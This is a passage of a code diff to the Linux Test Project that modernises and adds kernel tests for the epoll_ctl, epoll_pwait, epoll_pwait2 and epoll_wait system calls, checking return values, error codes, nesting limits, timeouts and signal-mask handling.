+	{&epfd, EPOLL_CTL_ADD, &fd[0], &events[0], EEXIST, "fd is already registered with EPOLL_CTL_ADD"}
 };
 
 static void setup(void)
 {
+	unsupported_fd = SAFE_OPEN(".", O_RDONLY|O_DIRECTORY, 0);
+
 	epfd = epoll_create(2);
 	if (epfd == -1)
 		tst_brk(TBROK | TERRNO, "fail to create epoll instance");
@@ -70,9 +66,8 @@
 	events[0].data.fd = fd[0];
 	events[1].data.fd = fd[1];
 
-	TEST(epoll_ctl(epfd, EPOLL_CTL_ADD, fd[0], &events[0]));
-	if (TST_RET == -1)
-		tst_brk(TFAIL | TTERRNO, "epoll_ctl() fails to init");
+	if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd[0], &events[0]))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
 }
 
 static void cleanup(void)
@@ -89,25 +84,12 @@
 
 static void verify_epoll_ctl(unsigned int n)
 {
-	struct testcase *tc = &tcases[n];
-
-	TEST(epoll_ctl(*tc->epfds, tc->opt, *tc->fds,  tc->ts_event));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "epoll_ctl() succeeds unexpectedly");
-		return;
-	}
-
-	if (tc->exp_err == TST_ERR) {
-		tst_res(TPASS | TTERRNO, "epoll_ctl() fails as expected");
-	} else {
-		tst_res(TFAIL | TTERRNO,
-			"epoll_ctl() fails unexpectedly, expected %i: %s",
-			tc->exp_err, tst_strerrno(tc->exp_err));
-	}
+	TST_EXP_FAIL(epoll_ctl(*tc[n].epfd, tc[n].opt, *tc[n].fd, tc[n].event),
+		     tc[n].exp_err, "epoll_clt(...) if %s", tc[n].desc);
 }
 
 static struct tst_test test = {
-	.tcnt = ARRAY_SIZE(tcases),
+	.tcnt = ARRAY_SIZE(tc),
 	.setup = setup,
 	.cleanup = cleanup,
 	.test = verify_epoll_ctl,
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c
new file mode 100644
index 0000000..e96960b
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl03.c
@@ -0,0 +1,78 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2021
+ * Author: Xie Ziyao <ziyaoxie@outlook.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Check that epoll_ctl returns zero with different combinations of events on
+ * success.
+ */
+
+#include <poll.h>
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+#include "tst_bitmap.h"
+
+#define NUM_EPOLL_EVENTS 8
+#define WIDTH_EPOLL_EVENTS 256
+
+static int epfd, fds[2];
+static struct epoll_event events = {.events = EPOLLIN};
+
+static unsigned int events_type[NUM_EPOLL_EVENTS] = {
+		EPOLLIN, EPOLLOUT, EPOLLPRI, EPOLLERR,
+		EPOLLHUP, EPOLLET, EPOLLONESHOT, EPOLLRDHUP
+};
+
+static void run_all(void)
+{
+	unsigned int i, j, events_bitmap;
+
+	for (i = 0; i < WIDTH_EPOLL_EVENTS; i++) {
+		events_bitmap = 0;
+
+		for (j = 0; j < NUM_EPOLL_EVENTS; j++)
+			events_bitmap |= (events_type[j] * TST_IS_BIT_SET(i, j));
+
+		events.events = events_bitmap;
+		TST_EXP_PASS(epoll_ctl(epfd, EPOLL_CTL_MOD, fds[0], &events),
+			     "epoll_ctl(..., EPOLL_CTL_MOD, ...) with events.events=%08x",
+			     events.events);
+	}
+}
+
+static void setup(void)
+{
+	epfd = epoll_create(1);
+	if (epfd == -1)
+		tst_brk(TBROK | TERRNO, "fail to create epoll instance");
+
+	SAFE_PIPE(fds);
+	events.data.fd = fds[0];
+
+	if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[0], &events))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+}
+
+static void cleanup(void)
+{
+	if (epfd)
+		SAFE_CLOSE(epfd);
+
+	if (fds[0])
+		SAFE_CLOSE(fds[0]);
+
+	if (fds[1])
+		SAFE_CLOSE(fds[1]);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run_all,
+	.min_kver = "2.6.17",
+};
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c
new file mode 100644
index 0000000..5173755
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl04.c
@@ -0,0 +1,70 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2021
+ * Author: Xie Ziyao <ziyaoxie@outlook.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that the maximum number of nesting allowed inside epoll sets is 5,
+ * otherwise epoll_ctl fails with EINVAL.
+ */
+
+#include <poll.h>
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+
+#define MAX_DEPTH 5
+
+static int epfd, new_epfd;
+static int fd[2];
+
+static struct epoll_event events = {.events = EPOLLIN};
+
+static void setup(void)
+{
+	int depth;
+
+	SAFE_PIPE(fd);
+
+	for (depth = 0, epfd = fd[0]; depth < MAX_DEPTH; depth++) {
+		new_epfd = epoll_create(1);
+		if (new_epfd == -1)
+			tst_brk(TBROK | TERRNO, "fail to create epoll instance");
+
+		events.data.fd = epfd;
+		if (epoll_ctl(new_epfd, EPOLL_CTL_ADD, epfd, &events))
+			tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+
+		epfd = new_epfd;
+	}
+}
+
+static void cleanup(void)
+{
+	if (fd[0])
+		SAFE_CLOSE(fd[0]);
+
+	if (fd[1])
+		SAFE_CLOSE(fd[1]);
+}
+
+static void verify_epoll_ctl(void)
+{
+	new_epfd = epoll_create(1);
+	if (new_epfd == -1)
+		tst_brk(TBROK | TERRNO, "fail to create epoll instance");
+
+	events.data.fd = epfd;
+	TST_EXP_FAIL(epoll_ctl(new_epfd, EPOLL_CTL_ADD, epfd, &events), EINVAL,
+		     "epoll_clt(..., EPOLL_CTL_ADD, ...) with number of nesting is 5");
+	SAFE_CLOSE(new_epfd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_epoll_ctl,
+};
diff --git a/testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c
new file mode 100644
index 0000000..d03009c
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_ctl/epoll_ctl05.c
@@ -0,0 +1,71 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2021
+ * Author: Xie Ziyao <ziyaoxie@outlook.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that epoll_ctl() fails with ELOOP if fd refers to an epoll instance
+ * and this EPOLL_CTL_ADD operation would result in a circular loop of epoll
+ * instances monitoring one another.
+ */
+
+#include <poll.h>
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+
+#define MAX_DEPTH 5
+
+static int epfd, origin_epfd, new_epfd;
+static int fd[2];
+
+static struct epoll_event events = {.events = EPOLLIN};
+
+static void setup(void)
+{
+	int i;
+
+	SAFE_PIPE(fd);
+
+	for (i = 0, epfd = fd[0]; i < MAX_DEPTH; i++, epfd = new_epfd) {
+		new_epfd = epoll_create(1);
+		if (new_epfd == -1)
+			tst_brk(TBROK | TERRNO, "fail to create epoll instance");
+
+		if (i == 0)
+			origin_epfd = new_epfd;
+
+		events.data.fd = epfd;
+		if (epoll_ctl(new_epfd, EPOLL_CTL_ADD, epfd, &events))
+			tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+	}
+
+	events.data.fd = fd[0];
+	if (epoll_ctl(origin_epfd, EPOLL_CTL_DEL, fd[0], &events))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_DEL, ...)");
+}
+
+static void cleanup(void)
+{
+	if (fd[0])
+		SAFE_CLOSE(fd[0]);
+
+	if (fd[1])
+		SAFE_CLOSE(fd[1]);
+}
+
+static void verify_epoll_ctl(void)
+{
+	events.data.fd = epfd;
+	TST_EXP_FAIL(epoll_ctl(origin_epfd, EPOLL_CTL_ADD, epfd, &events),
+		     ELOOP, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_epoll_ctl,
+};
diff --git a/testcases/kernel/syscalls/epoll_pwait/.gitignore b/testcases/kernel/syscalls/epoll_pwait/.gitignore
index d53943a..fafb2d7 100644
--- a/testcases/kernel/syscalls/epoll_pwait/.gitignore
+++ b/testcases/kernel/syscalls/epoll_pwait/.gitignore
@@ -1 +1,5 @@
-/epoll_pwait01
+epoll_pwait01
+epoll_pwait02
+epoll_pwait03
+epoll_pwait04
+epoll_pwait05
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait.h b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait.h
deleted file mode 100644
index 344ff20..0000000
--- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait.h
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (c) 2016 Fujitsu Ltd.
- * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.
- */
-
-#ifndef EPOLL_PWAIT_H
-#define EPOLL_PWAIT_H
-
-#include <sys/types.h>
-#include <signal.h>
-#include "config.h"
-#include "lapi/syscalls.h"
-
-#if !defined(HAVE_EPOLL_PWAIT)
-int epoll_pwait(int epfd, struct epoll_event *events, int maxevents,
-	int timeout, const sigset_t *sigmask)
-{
-	return ltp_syscall(__NR_epoll_pwait, epfd, events, maxevents,
-		timeout, sigmask, _NSIG / 8);
-}
-#endif
-
-#endif /* EPOLL_PWAIT_H */
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c
index 1f08112..3097dc3 100644
--- a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c
+++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c
@@ -1,202 +1,127 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2016 Fujitsu Ltd.
  * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-/*
- * Description:
- *  Basic test for epoll_pwait(2).
- *  1) epoll_pwait(2) with sigmask argument allows the caller to
- *     safely wait until either a file descriptor becomes ready
- *     or the timeout expires.
- *  2) epoll_pwait(2) with NULL sigmask argument fails if
- *     interrupted by a signal handler, epoll_pwait(2) should
- *     return -1 and set errno to EINTR.
+/*\
+ * [Description]
+ *
+ * Basic test for epoll_pwait() and epoll_pwait2().
+ *
+ * - With a sigmask a signal is ignored and the syscall safely waits until
+ *   either a file descriptor becomes ready or the timeout expires.
+ *
+ * - Without sigmask if signal arrives a syscall is iterrupted by a signal.
+ *   The call should return -1 and set errno to EINTR.
  */
 
+#include <stdlib.h>
 #include <sys/epoll.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
 
-#include "test.h"
-#include "epoll_pwait.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "epoll_pwait_var.h"
 
-char *TCID = "epoll_pwait01";
-int TST_TOTAL = 2;
-
-static int epfd, fds[2];
+static int efd, sfd[2];
+static struct epoll_event e;
 static sigset_t signalset;
-static struct epoll_event epevs;
 static struct sigaction sa;
 
-static void setup(void);
-static void verify_sigmask(void);
-static void verify_nonsigmask(void);
-static void sighandler(int sig LTP_ATTRIBUTE_UNUSED);
-static void do_test(sigset_t *);
-static void do_child(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		do_test(&signalset);
-		do_test(NULL);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	if ((tst_kvercmp(2, 6, 19)) < 0) {
-		tst_brkm(TCONF, NULL, "This test can only run on kernels "
-			 "that are 2.6.19 or higher");
-	}
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	if (sigemptyset(&signalset) == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "sigemptyset() failed");
-
-	if (sigaddset(&signalset, SIGUSR1) == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "sigaddset() failed");
-
-	sa.sa_flags = 0;
-	sa.sa_handler = sighandler;
-	if (sigemptyset(&sa.sa_mask) == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "sigemptyset() failed");
-
-	if (sigaction(SIGUSR1, &sa, NULL) == -1)
-		tst_brkm(TFAIL | TERRNO, NULL, "sigaction() failed");
-
-	SAFE_PIPE(NULL, fds);
-
-	epfd = epoll_create(1);
-	if (epfd == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "failed to create epoll instance");
-	}
-
-	epevs.events = EPOLLIN;
-	epevs.data.fd = fds[0];
-
-	if (epoll_ctl(epfd, EPOLL_CTL_ADD, fds[0], &epevs) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "failed to register epoll target");
-	}
-}
+static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) {}
 
 static void verify_sigmask(void)
 {
-	if (TEST_RETURN == -1) {
-		tst_resm(TFAIL | TTERRNO, "epoll_pwait() failed");
+	TEST(do_epoll_pwait(efd, &e, 1, -1, &signalset));
+
+	if (TST_RET != 1) {
+		tst_res(TFAIL, "do_epoll_pwait() returned %li, expected 1",
+			TST_RET);
 		return;
 	}
 
-	if (TEST_RETURN != 1) {
-		tst_resm(TFAIL, "epoll_pwait() returned %li, expected 1",
-			 TEST_RETURN);
-		return;
-	}
-
-	tst_resm(TPASS, "epoll_pwait(sigmask) blocked signal");
+	tst_res(TPASS, "do_epoll_pwait() with sigmask blocked signal");
 }
 
 static void verify_nonsigmask(void)
 {
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "epoll_wait() succeeded unexpectedly");
-		return;
-	}
-
-	if (TEST_ERRNO == EINTR) {
-		tst_resm(TPASS | TTERRNO, "epoll_wait() failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO, "epoll_wait() failed unexpectedly, "
-				 "expected EINTR");
-	}
+	TST_EXP_FAIL(do_epoll_pwait(efd, &e, 1, -1, NULL), EINTR,
+		     "do_epoll_pwait() without sigmask");
 }
 
-static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
-{
+static void (*testcase_list[])(void) = {verify_sigmask, verify_nonsigmask};
 
-}
-
-static void do_test(sigset_t *sigmask)
+static void run(unsigned int n)
 {
-	pid_t cpid;
 	char b;
+	pid_t pid;
 
-	cpid = tst_fork();
-	if (cpid < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
+	if (!SAFE_FORK()) {
+		pid = getppid();
 
-	if (cpid == 0)
-		do_child();
+		TST_PROCESS_STATE_WAIT(pid, 'S', 0);
+		SAFE_KILL(pid, SIGUSR1);
 
-	TEST(epoll_pwait(epfd, &epevs, 1, -1, sigmask));
-
-	if (sigmask != NULL)
-		verify_sigmask();
-	else
-		verify_nonsigmask();
-
-	SAFE_READ(cleanup, 1, fds[0], &b, 1);
-
-	tst_record_childstatus(cleanup, cpid);
-}
-
-static void do_child(void)
-{
-	if (tst_process_state_wait2(getppid(), 'S') != 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "failed to wait for parent process's state");
+		usleep(10000);
+		SAFE_WRITE(1, sfd[1], "w", 1);
+		exit(0);
 	}
 
-	SAFE_KILL(cleanup, getppid(), SIGUSR1);
-	usleep(10000);
-	SAFE_WRITE(cleanup, 1, fds[1], "w", 1);
+	testcase_list[n]();
 
-	cleanup();
-	tst_exit();
+	SAFE_READ(1, sfd[0], &b, 1);
+	tst_reap_children();
+}
+
+static void epoll_pwait_support(void)
+{
+	if (tst_variant == 0)
+		epoll_pwait_supported();
+	else
+		epoll_pwait2_supported();
+}
+
+static void setup(void)
+{
+	SAFE_SIGEMPTYSET(&signalset);
+	SAFE_SIGADDSET(&signalset, SIGUSR1);
+
+	sa.sa_flags = 0;
+	sa.sa_handler = sighandler;
+	SAFE_SIGEMPTYSET(&sa.sa_mask);
+	SAFE_SIGACTION(SIGUSR1, &sa, NULL);
+
+	epoll_pwait_info();
+	epoll_pwait_support();
+
+	SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd);
+
+	efd = epoll_create(1);
+	if (efd == -1)
+		tst_brk(TBROK | TERRNO, "epoll_create()");
+
+	e.events = EPOLLIN;
+	if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
 }
 
 static void cleanup(void)
 {
-	if (epfd > 0 && close(epfd))
-		tst_resm(TWARN | TERRNO, "failed to close epfd");
+	if (efd > 0)
+		SAFE_CLOSE(efd);
 
-	if (close(fds[0]))
-		tst_resm(TWARN | TERRNO, "close(fds[0]) failed");
+	if (sfd[0] > 0)
+		SAFE_CLOSE(sfd[0]);
 
-	if (close(fds[1]))
-		tst_resm(TWARN | TERRNO, "close(fds[1]) failed");
+	if (sfd[1] > 0)
+		SAFE_CLOSE(sfd[1]);
 }
+
+static struct tst_test test = {
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.test_variants = TEST_VARIANTS,
+	.tcnt = ARRAY_SIZE(testcase_list),
+};
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c
new file mode 100644
index 0000000..2818008
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait02.c
@@ -0,0 +1,66 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd. 2021. All rights reserved.
+ * Author: Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Basic test for epoll_pwait and epoll_pwait2. Checks if data avaiable in a
+ * file descriptor are reported correctly in the syscall return value.
+ */
+
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+#include "epoll_pwait_var.h"
+
+static int efd, sfd[2];
+static struct epoll_event e;
+
+static void run(void)
+{
+	TEST(do_epoll_pwait(efd, &e, 1, -1, NULL));
+
+	if (TST_RET == 1) {
+		tst_res(TPASS, "do_epoll_pwait() succeeded");
+		return;
+	}
+	tst_res(TFAIL, "do_epoll_pwait() returned %li, expected 1", TST_RET);
+}
+
+static void setup(void)
+{
+	epoll_pwait_info();
+
+	SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd);
+
+	efd = epoll_create(1);
+	if (efd == -1)
+		tst_brk(TBROK | TERRNO, "epoll_create()");
+
+	e.events = EPOLLIN;
+	if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+	SAFE_WRITE(1, sfd[1], "w", 1);
+}
+
+static void cleanup(void)
+{
+	if (efd > 0)
+		SAFE_CLOSE(efd);
+
+	if (sfd[0] > 0)
+		SAFE_CLOSE(sfd[0]);
+
+	if (sfd[1] > 0)
+		SAFE_CLOSE(sfd[1]);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_variants = TEST_VARIANTS,
+};
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c
new file mode 100644
index 0000000..2ad1a6a
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait03.c
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd. 2021. All rights reserved.
+ * Author: Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Check that epoll_pwait and epoll_pwait2 timeouts correctly.
+ */
+
+#include <sys/epoll.h>
+
+#include "tst_timer_test.h"
+#include "epoll_pwait_var.h"
+
+#define USEC_PER_MSEC (1000L)
+
+static int efd, sfd[2];
+static struct epoll_event e;
+
+int sample_fn(int clk_id, long long usec)
+{
+	unsigned int ms = usec / USEC_PER_MSEC;
+
+	tst_timer_start(clk_id);
+	TEST(do_epoll_pwait(efd, &e, 1, ms, NULL));
+	tst_timer_stop();
+	tst_timer_sample();
+
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO,
+			"do_epoll_pwait() returned %li, expected 0", TST_RET);
+		return 1;
+	}
+
+	return 0;
+}
+
+static void setup(void)
+{
+	epoll_pwait_info();
+
+	SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd);
+
+	efd = epoll_create(1);
+	if (efd == -1)
+		tst_brk(TBROK | TERRNO, "epoll_create()");
+
+	e.events = EPOLLIN;
+	if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+}
+
+static void cleanup(void)
+{
+	if (efd > 0)
+		SAFE_CLOSE(efd);
+
+	if (sfd[0] > 0)
+		SAFE_CLOSE(sfd[0]);
+
+	if (sfd[1] > 0)
+		SAFE_CLOSE(sfd[1]);
+}
+
+static struct tst_test test = {
+	.scall = "do_epoll_pwait()",
+	.sample = sample_fn,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_variants = TEST_VARIANTS,
+};
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c
new file mode 100644
index 0000000..88a9b93
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait04.c
@@ -0,0 +1,64 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd. 2021. All rights reserved.
+ * Author: Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that, epoll_pwait() and epoll_pwait2() return -1 and set errno to
+ * EFAULT with a sigmask points outside user's accessible address space.
+ */
+
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+#include "epoll_pwait_var.h"
+
+static int efd, sfd[2];
+static struct epoll_event e;
+static void *bad_addr;
+
+static void run(void)
+{
+	TST_EXP_FAIL(do_epoll_pwait(efd, &e, 1, -1, bad_addr),
+		     EFAULT, "with an invalid sigmask pointer");
+}
+
+static void setup(void)
+{
+	epoll_pwait_info();
+
+	SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd);
+
+	efd = epoll_create(1);
+	if (efd == -1)
+		tst_brk(TBROK | TERRNO, "epoll_create()");
+
+	e.events = EPOLLIN;
+	if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+	SAFE_WRITE(1, sfd[1], "w", 1);
+
+	bad_addr = tst_get_bad_addr(NULL);
+}
+
+static void cleanup(void)
+{
+	if (efd > 0)
+		SAFE_CLOSE(efd);
+
+	if (sfd[0] > 0)
+		SAFE_CLOSE(sfd[0]);
+
+	if (sfd[1] > 0)
+		SAFE_CLOSE(sfd[1]);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_variants = TEST_VARIANTS,
+};
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c
new file mode 100644
index 0000000..1373c36
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait05.c
@@ -0,0 +1,70 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd. 2021. All rights reserved.
+ * Author: Xie Ziyao <xieziyao@huawei.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Verify that, epoll_pwait2() return -1 and set errno to EINVAL with an
+ * invalid timespec.
+ */
+
+#include <sys/epoll.h>
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "lapi/epoll.h"
+
+static int efd, sfd[2];
+static struct epoll_event e;
+
+static struct test_case_t {
+	struct timespec ts;
+	int exp_errno;
+	const char *desc;
+} tc[] = {
+	{{.tv_sec = -1}, EINVAL, "ts.tv_sec < 0"},
+	{{.tv_nsec = -1}, EINVAL, "ts.tv_nsec < 0"},
+	{{.tv_nsec = NSEC_PER_SEC}, EINVAL, "ts.tv_nsec >= NSEC_PER_SEC"},
+};
+
+static void run_all(unsigned int n)
+{
+	TST_EXP_FAIL(epoll_pwait2(efd, &e, 1, &tc[n].ts, NULL),
+		     tc[n].exp_errno, "with %s", tc[n].desc);
+}
+
+static void setup(void)
+{
+	SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sfd);
+
+	efd = epoll_create(1);
+	if (efd == -1)
+		tst_brk(TBROK | TERRNO, "epoll_create()");
+
+	e.events = EPOLLIN;
+	if (epoll_ctl(efd, EPOLL_CTL_ADD, sfd[0], &e))
+		tst_brk(TBROK | TERRNO, "epoll_clt(..., EPOLL_CTL_ADD, ...)");
+	SAFE_WRITE(1, sfd[1], "w", 1);
+}
+
+static void cleanup(void)
+{
+	if (efd > 0)
+		SAFE_CLOSE(efd);
+
+	if (sfd[0] > 0)
+		SAFE_CLOSE(sfd[0]);
+
+	if (sfd[1] > 0)
+		SAFE_CLOSE(sfd[1]);
+}
+
+static struct tst_test test = {
+	.test = run_all,
+	.setup = setup,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tc),
+};
diff --git a/testcases/kernel/syscalls/epoll_pwait/epoll_pwait_var.h b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait_var.h
new file mode 100644
index 0000000..60ee128
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_pwait/epoll_pwait_var.h
@@ -0,0 +1,43 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Copyright (c) Huawei Technologies Co., Ltd. 2021. All rights reserved.
+ * Author: Xie Ziyao <xieziyao@huawei.com>
+ */
+
+#ifndef LTP_EPOLL_PWAIT_VAR_H
+#define LTP_EPOLL_PWAIT_VAR_H
+
+#include "lapi/epoll.h"
+
+#define TEST_VARIANTS 2
+#define MSEC_PER_SEC (1000L)
+#define NSEC_PER_MSEC (1000000L)
+
+static int do_epoll_pwait(int epfd, struct epoll_event *events, int
+	maxevents, int timeout, const sigset_t *sigmask)
+{
+	if (tst_variant == 0)
+		return epoll_pwait(epfd, events, maxevents, timeout, sigmask);
+
+	struct timespec ts;
+
+	if (timeout < 0) {
+		return epoll_pwait2(epfd, events, maxevents, NULL, sigmask);
+	} else {
+		ts.tv_sec = timeout / MSEC_PER_SEC;
+		ts.tv_nsec = NSEC_PER_MSEC * (timeout % MSEC_PER_SEC);
+	}
+
+	return epoll_pwait2(epfd, events, maxevents, &ts, sigmask);
+
+}
+
+static void epoll_pwait_info(void)
+{
+	if (tst_variant == 0)
+		tst_res(TINFO, "Test epoll_pwait()");
+	else
+		tst_res(TINFO, "Test epoll_pwait2()");
+}
+
+#endif /* LTP_EPOLL_PWAIT_VAR_H */
diff --git a/testcases/kernel/syscalls/epoll_wait/.gitignore b/testcases/kernel/syscalls/epoll_wait/.gitignore
index 03b1be9..222955d 100644
--- a/testcases/kernel/syscalls/epoll_wait/.gitignore
+++ b/testcases/kernel/syscalls/epoll_wait/.gitignore
@@ -1,3 +1,4 @@
-/epoll_wait01
-/epoll_wait02
-/epoll_wait03
+epoll_wait01
+epoll_wait02
+epoll_wait03
+epoll_wait04
diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c
index f9fd065..1584398 100644
--- a/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c
+++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c
@@ -4,11 +4,12 @@
  * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  */
 
-/*
- * Description:
- *  Basic test for epoll_wait(2).
- *  Check that epoll_wait(2) works for EPOLLOUT and EPOLLIN events
- *  on a epoll instance and that struct epoll_event is set correctly.
+/*\
+ * [Description]
+ *
+ * Basic test for epoll_wait. Check that epoll_wait works for EPOLLOUT and
